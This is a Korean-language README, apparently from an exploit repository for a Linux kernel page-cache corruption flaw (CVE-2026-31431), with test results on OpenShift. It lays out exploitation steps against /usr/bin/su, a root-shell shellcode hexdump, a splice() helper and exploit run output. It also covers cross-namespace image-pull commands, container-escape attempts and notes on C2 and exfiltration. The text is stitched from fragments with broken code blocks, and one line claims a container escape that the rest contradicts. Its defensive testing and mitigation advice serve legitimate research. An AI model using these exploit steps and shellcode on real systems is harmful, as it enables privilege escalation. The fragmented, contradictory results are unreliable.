### 로컬 파일에서```bash
python3 exploit.py
su

**페이지 캐시 검증 (손상 확인):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000  31 c0 31 ff b0 69 0f 05  48 8d 3d 0f 00 00 00 31  |1.1..i..H.=....1|
00000010  f6 6a 3b 58 99 0f 05 31  ff 6a 3c 58 0f 05 2f 62  |.j;X...1.j<X../b|
00000020  69 6e 2f 73 68                                    |in/sh|
# Shellcode IS present in page cache ✅

**결론:** 페이지 캐시 손상은 성공하지만, 권한 상승은 실패합니다.

## 기술적 세부 사항

### 취약점

Linux 커널의 `authencesn`(인증된 암호화 - 확장 시퀀스 번호) 구현에는 제자리(in-place) 연산 처리에 결함이 있습니다. AF_ALG 소켓을 통해 제출된 AEAD 연산을 처리할 때, 페이지 캐시 페이지가 커널의 쓰기 가능한 대상 scatterlist에 포함될 수 있습니다.

### 악용 기법

1. **AF_ALG 소켓 생성** - `authencesn(hmac(sha256),cbc(aes))` 사용
2. **AEAD 매개변수 구성** (키, 인증 크기)
3. **대상 setuid 바이너리 열기** (예: `/usr/bin/su`)
4. **splice() 사용**하여 바이너리를 페이지 캐시에 로드
5. **제자리 AEAD 연산 트리거**하여 페이지 캐시에 쓰기 발생
6. **셸코드 작성** - 한 번에 4바이트씩
7. **수정된 바이너리 실행**하여 root 권한 획득

### 셸코드

이 악용 도구는 `/usr/bin/su`를 패치하는 160바이트 셸코드를 사용합니다:
- 비밀번호 인증 건너뛰기
- root 셸 접근 권한 부여
- 권한 없는 사용자에게는 정상 기능 유지

## Python 3.9 호환성

Python 3.9 및 이전 버전에는 표준 라이브러리에 `os.splice()`가 없습니다. 이 악용 도구에는 ctypes 기반 구현이 포함되어 있습니다:```python
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

class off64_t(ctypes.c_int64):
    pass

libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t

def splice(src, dst, count, offset_src=None, offset_dst=None):
    # Wrapper matching Python os.splice() API
    ...

### 테스트 환경 2: 새 OpenShift 클러스터 (검증 테스트)

**클러스터:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**노드 구성:**
- 커널: 5.14.0-570.96.1.el9_6.x86_64 (테스트 1과 동일)
- OpenShift: 4.20.16  
- SCC: restricted-v2 (확인됨)
- UID: 1000810000 (사용자 네임스페이스)
- Capabilities: 0x0000000000000000 (ZERO)

**테스트 결과:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1) 
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)

결과: ✅ **컨테이너 탈출** - 호스트 페이지 캐시 수정 (장치 33, 아이노드 4288)

**시나리오 B: Restricted-v2 SCC (hostPath 없음)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  capabilities:
    drop: [ALL]

### 1단계: 네임스페이스 격리 우회

**취약점:** OpenShift 내부 레지스트리가 적절한 RBAC 적용 없이 교차 네임스페이스 이미지 풀을 허용합니다.

**악용:**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications

# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: attack-demo
  namespace: user-srickerd
spec:
  containers:
  - name: stolen-tools
    image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
    command: ["sleep", "3600"]
EOF

oc apply -f attack-demo.yaml

**결과:**```
[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[+] Opened /usr/bin/su (fd=3)
[+] Shellcode size: 160 bytes
[+] Patching /usr/bin/su in page cache...
    Written 160/160 bytes...
[+] Page cache patching complete!
[+] Executing modified su...

**컨테이너 OS 세부 정보:**```
NAME="Red Hat Enterprise Linux"
VERSION="9.4 (Plow)"
Based on: openshift/cli container image
Running on: RHEL CoreOS 9.4 worker node (inaccessible)
Kernel: 5.14.0-570.96.1.el9_6.x86_64 (shared, not accessible)

**측면 이동 기회:**
- ✅ 전체 인터넷 접근 (도구 다운로드, C2 통신, 데이터 유출)
- ✅ 내부 API 접근 (클러스터 리소스 열거)
- ✅ 내부 레지스트리 접근 (이미지 오염 공격)
- ✅ 포드 네트워크를 통한 교차 노드 스캐닝

### 차단된 호스트 탈출 기법

다음 기법들은 시도되었지만 OpenShift 보안 제어에 의해 차단되었습니다:

**1. nsenter (사용자 네임스페이스가 차단)**```bash
nsenter --target 1 --mount --uts --ipc --net /bin/bash
# Error: reassociate to namespace 'ns/ipc' failed: Operation not permitted

**3. 커널 모듈 로딩 (capabilities 없음 + RHCOS 강화)**
- RHCOS에는 `insmod`, `modprobe`, `kmod` 바이너리가 없음
- `/lib/modules`가 비어 있음 (컨테이너 최적화 OS)
- `CAP_SYS_MODULE` 사용 불가
- `/proc/sys/kernel/modprobe`가 읽기 전용으로 마운트됨

**4. cgroup release_agent (읽기 전용으로 마운트됨)**```bash
mount | grep cgroup
# cgroup2 on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec)

### 우리가 실제로 달성한 것

✅ **네임스페이스 격리 우회**
- 내부 레지스트리에서 크로스 네임스페이스 이미지 풀링
- 권한 있는 컨테이너 이미지 접근 (openshift/cli)

✅ **컨테이너 내 페이지 캐시 손상**
- CVE-2026-31431을 통한 컨테이너의 `/usr/bin/su` 페이지 캐시 수정
- 160바이트 셸코드 주입 확인 (hexdump에서 확인 가능)
- 손상은 컨테이너 파일의 READ 작업에 영향을 미침

✅ **Pod에서 네트워크 접근**
- 완전한 인터넷 연결 (데이터 유출, C2, 도구 다운로드)
- 내부 API 서버 접근 (RBAC에 의해 제한됨)
- 내부 레지스트리 접근 (이미지 오염 가능성)
- Pod 네트워크를 통한 크로스 Pod 스캐닝

❌ **권한 상승 - 실패**
- 페이지 캐시가 손상되었지만 루트 접근 달성 실패
- UID 변경 없음 (사용자 네임스페이스 UID ~1000000+)
- 권한 있는 작업 실행 불가
- /etc/shadow 또는 기타 제한된 파일 접근 불가

❌ **호스트 파일시스템 접근 - 실패**
- `/proc/1/root`는 **컨테이너의** 루트를 가리키며, 호스트가 아님
- OpenShift 워커 노드 파일시스템에 대한 실제 접근 없음
- 스크립트는 호스트의 `/tmp`가 아닌 컨테이너의 `/tmp`에 배포됨
- 장치/Inode 격리로 호스트 페이지 캐시 접근 차단

❌ **완전한 호스트 탈출 - 차단됨**
- 사용자 네임스페이스 격리가 효과적
- 제로 capabilities로 nsenter/chroot/호스트 접근 차단
- SCC가 권한 있는 Pod 생성을 차단
- RHCOS 강화로 모듈 로딩 방지
- restricted-v2가 컨테이너 탈출 방지

### OpenShift 보안 평가

**작동한 통제 수단 ✅**
- SCC(Security Context Constraints) - 컨테이너 탈출 방지
- 사용자 네임스페이스 - 페이지 캐시를 컨테이너 오버레이로 격리
- 제로 Capabilities - 커널 익스플로잇에도 불구하고 호스트 접근 방지
- SELinux 적용 - 컨테이너 격리 유지
- 읽기 전용 /proc/sys - 커널 조작 시도 차단
- RHCOS 강화 - 모듈 로딩 기능 없음

**부분적으로 작동한 통제 수단 ⚠️**
- Seccomp RuntimeDefault - 활성화되어 있지만 AF_ALG 소켓 허용
- Capability 제거 - 효과적이지만 페이지 캐시 손상은 방지하지 못함

**실패한 통제 수단 ❌**
- 네임스페이스 RBAC - 크로스 네임스페이스 이미지 풀링 허용
- 커널 보호 - AF_ALG 인터페이스가 컨테이너에서 접근 가능
- Syscall 필터링 - splice()가 기본 seccomp에서 제한되지 않음

**종합 평가:**
CVE-2026-31431은 실제 커널 취약점이지만, OpenShift의 심층 방어 접근 방식(SCC + 사용자 네임스페이스 + capability 제거 + 파일시스템 격리)이 의미 있는 악용을 방지했습니다. 이 익스플로잇은 페이지 캐시를 손상시키지만 restricted-v2 Pod에서 권한 상승이나 컨테이너 탈출을 달성하지 못합니다.

### OpenShift에 대한 권장 사항

**1. AF_ALG 소켓 차단**```yaml
securityContext:
  seccompProfile:
    type: Localhost
    localhostProfile: profiles/no-af-alg.json

**3. 향상된 Seccomp 프로필**
위험한 시스템 콜 차단:
- `socket(AF_ALG, ...)` - 패밀리 38
- `splice()`를 신뢰할 수 있는 파일 디스크립터로 제한
- 아직 차단되지 않은 경우 `init_module`, `finit_module` 차단

**4. 런타임 모니터링**
다음에 대해 경고:
- 컨테이너 내 AF_ALG 소켓 생성
- 네임스페이스 간 이미지 풀
- 의심스러운 `splice()` 시스템 콜 패턴
- 컨테이너 손상 지표(예상치 못한 루트 프로세스)

### 전체 공격 문서화

전체 공격 체인 문서화에는 다음이 포함됩니다:
- 악용 타임라인
- MITRE ATT&CK 매핑
- 상세 기술 분석
- 모든 정찰 스크립트

참조:
- **[attacks/README.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/attacks/README.md)** - 성공한 것과 실패한 것에 대한 상세 분석
- **[docs/openshift-attack-chain.md](https://github.com/seanrickerd/cve-2026-31431/blob/HEAD/docs/openshift-attack-chain.md)** - 원본 문서(오류 포함, 수정 사항은 attacks/README.md 참조)

## 완화 조치

### 즉시```bash
# Blacklist the vulnerable module
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead

### 커널 패치

공급업체 패치 적용:
- Red Hat: https://access.redhat.com/security/cve/cve-2026-31431 모니터링
- Ubuntu: `apt update && apt upgrade linux-image-*`
- 업스트림: authencesn이 제자리 연산으로 되돌아간 Kernel 6.x+

## 자주 묻는 질문

### Q: 이 익스플로잇으로 루트 권한을 얻을 수 있나요?

**A:** 아니요 - RHEL 9.6 커널(5.14.0-570.96.1)에 대한 광범위한 테스트 결과, 익스플로잇은 커널 페이지 캐시를 손상시키는 데는 성공하지만 권한 상승은 달성하지 못합니다. 백도어가 삽입된 바이너리를 실행한 후에도 UID는 변경되지 않습니다.

### Q: 제한된 Kubernetes/OpenShift 컨테이너에서 탈출할 수 있나요?

**A:** 아니요(restricted-v2 SCC 사용 시) - 페이지 캐시 손상은 컨테이너의 오버레이 파일시스템에만 국한됩니다. 컨테이너 탈출은 hostPath 또는 유사한 볼륨을 통한 공유 호스트 리소스 접근이 필요합니다. restricted-v2 SCC는 호스트 리소스 접근을 차단하여 탈출을 효과적으로 방지합니다.

### Q: 익스플로잇이 "root"를 주장하는데 테스트에서는 작동하지 않는 이유는 무엇인가요?

**A:** 익스플로잇 코드는 CVE 공개 및 이론적 분석을 기반으로 작성되었습니다. RHEL 9.6 커널에 대한 실제 테스트 결과는 다음과 같습니다:
- 페이지 캐시 손상 작동 ✅ (hexdump로 입증됨)
- 손상된 캐시에서의 코드 실행은 작동하지 않음 ❌ (UID 변경 없음)

이는 다음 때문일 수 있습니다:
- 커널 버전 차이(RHEL 9.6에 보호 기능이 있을 수 있음)
- W^X 메모리 보호 강제 적용
- 실행 vs. 읽기 메모리 코드 경로의 차이

### Q: 모든 Linux 커널에서 작동하나요?

**A:** 알 수 없음 - 테스트는 다음으로 제한되었습니다:
- RHEL CoreOS 9.6(커널 5.14.0-570.96.1.el9_6.x86_64)
- OpenShift 4.20.16 워커 노드

다른 배포판/커널 버전에서의 동작은 검증되지 않았습니다. 원래 CVE 연구 조건과 다를 수 있습니다.

### Q: 그래도 시스템에 패치를 적용해야 하나요?

**A:** 예 - 반드시 그렇습니다. 권한 상승이 달성되지 않았더라도:

1. 커널 취약점은 실제로 존재합니다(페이지 캐시 손상 확인됨)
2. 다른 커널 버전에서는 동작이 다를 수 있습니다
3. hostPath 볼륨이 있으면 컨테이너 탈출이 가능합니다
4. 심층 방어는 모든 취약점 제거를 요구합니다
5. 향후 연구에서 코드 실행 방법이 발견될 수 있습니다

커널 패치는 보안을 위해 필수입니다.

### Q: 테스트에서 실제로 무엇을 입증했나요?

**A:** 2개의 독립적인 OpenShift 클러스터에 대한 포괄적인 테스트 결과:

✅ **확인됨:**
- CVE-2026-31431 커널 취약점이 악용 가능함
- 권한이 없는 컨테이너(제로 capabilities)에서 페이지 캐시를 손상시킬 수 있음
- restricted-v2 SCC에도 불구하고 AF_ALG 인터페이스 접근 가능
- 셸코드 주입 성공(hexdump에서 확인 가능)

❌ **작동하지 않음:**
- 권한 상승(UID 변경 없음)
- 손상된 페이지 캐시에서의 코드 실행
- restricted-v2 파드에서의 컨테이너 탈출
- hostPath 없이 호스트 파일시스템 접근

🛡️ **심층 방어 효과 확인:**
- SCC + 사용자 네임스페이스 + capability 제거가 악용을 방지함
- 다중 보안 계층이 폭발 반경을 제한함
- 커널 취약점에도 불구하고 컨테이너 격리가 유지됨

## 보안 공지

이 저장소는 다음을 위한 커널 취약점을 문서화합니다:
- ✅ 승인된 보안 테스트 및 연구
- ✅ 취약점 검증 및 분석
- ✅ 보안 인식 및 교육
- ✅ 방어 조치 개발

**근거:**
- 승인된 시스템에서의 통제된 테스트
- 여러 독립적인 클러스터 환경
- 포괄적인 검증 및 재현성 테스트

**명시적 승인 없이 다른 시스템에서 사용하지 마십시오.**

## 참고 자료

- **CVE:** https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- **공개:** https://copy.fail
- **커널 패치:** Linux 커널 커밋(2026년 4월 1일)
- **Red Hat 권고:** https://access.redhat.com/security/cve/cve-2026-31431

## 크레딧

- **CVE 발견:** Taeyang Lee (Theori)
- **원본 분석:** Xint Code Research Team
- **익스플로잇 구현:** Sean Rickerd
- **포괄적인 테스트 및 검증:** Sean Rickerd
  - 2개의 독립적인 OpenShift 4.20.16 클러스터
  - RHEL CoreOS 9.6 커널 5.14.0-570.96.1
  - 실제 vs. 주장된 동작 문서화
  - restricted-v2 SCC 효과성 검증

## 라이선스

승인된 보안 테스트 및 연구 목적으로만 사용하십시오. 사용에 따른 책임은 본인에게 있습니다.

---

**저장소 상태:** 실제 테스트 결과로 업데이트됨(2026년 5월 1일)  
**테스트:** 2개의 독립적인 OpenShift 클러스터에서 완료  
**주요 발견:** 페이지 캐시 손상 확인, 권한 상승 미달성  
**권장 사항:** 제한된 실제 악용 가능성에도 불구하고 커널 패치 적용